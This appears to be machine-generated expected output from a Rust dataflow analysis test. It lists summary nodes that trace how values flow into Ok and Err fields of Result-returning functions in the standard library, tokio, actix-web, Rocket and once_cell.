| [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::from_param | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/servo/rust-smallvec:smallvec::_::::into_inner | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/servo/rust-smallvec:smallvec::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::try_set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::try_set | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_std | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_std | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_panic | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_into_panic | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_set | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::util::typeid::try_transmute | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::util::typeid::try_transmute | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in lang:core::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::try_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in lang:std::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::btree::map::entry::OccupiedError::value] in lang:alloc::_::::try_insert | OccupiedError.value | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::hash::map::OccupiedError::value] in lang:std::_::::try_insert | OccupiedError.value | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::ffi::c_str::FromVecWithNulError::bytes] in lang:alloc::_::::from_vec_with_nul | FromVecWithNulError.bytes | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::from_vec_with_nul | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::string::FromUtf8Error::bytes] in lang:alloc::_::::from_utf8 | FromUtf8Error.bytes | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::from_utf8 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)] in lang:std::_::::send | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::send | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpmc::error::SendTimeoutError::Timeout(0)] in lang:std::_::::send | Timeout | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::send | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Disconnected(0)] in lang:core::_::::map_err | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Disconnected(0)] in lang:std::_::::try_send | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Full(0)] in lang:std::_::::try_send | Full | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Full(0)] in lang:std::_::::try_send | Full | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::wait | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::wait | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::into_inner | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::replace | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::replace | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::set | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::into_inner | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::replace | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::replace | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::set | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_uninit_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_uninit_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_zeroed_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_zeroed_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::left_kv | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_kv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::right_kv | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::right_kv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::search_tree_for_bifurcation | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::search_tree_for_bifurcation | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_uninit_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_uninit_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_zeroed_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_zeroed_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::from_utf8 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_utf8 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::parse | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_uninit_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_uninit_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_zeroed_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_zeroed_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::align_to | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::align_to | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::array | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::array | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::extend | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::extend | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::extend_packed | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::extend_packed | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::from_size_align | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_size_align | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::repeat | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::repeat | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::repeat_packed | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::repeat_packed | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::filter_map | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::filter_map | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::padding | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::padding | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::ok_or | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ok_or | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::ok_or_else | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ok_or_else | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::from_output | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_output | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_mut | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_ref | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::cloned | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::cloned | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::copied | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::copied | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::map | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::map_err | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::or | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::or | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::or_else | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::or_else | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::parse | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::fill_buf | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::seek | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::seek | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::stream_position | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::stream_position | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::try_clone | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::from_parts | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_parts | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::canonicalize | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::canonicalize | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::from_str | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_timeout | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_ms | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_timeout_ms | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_while | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_timeout_while | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_while | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_while | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::into_inner | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::lock | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::lock | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::into_inner | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::write | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::write | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::try_with | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_with | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::crate::sys::pal::unix::cvt | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sys::pal::unix::cvt | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo::serde_test_suite::_::::variant_seed | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::variant_seed | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo::serde_test_suite::_::::visit_byte_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::visit_byte_buf | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-http::_::<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_value | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_value | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_auto_h2c | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_auto_h2c | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_openssl | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_openssl | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_22 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_22 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_23 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_0_23 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_021 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_rustls_021 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/actix/actix-web:actix-web::_::::bind_uds | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::bind_uds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in 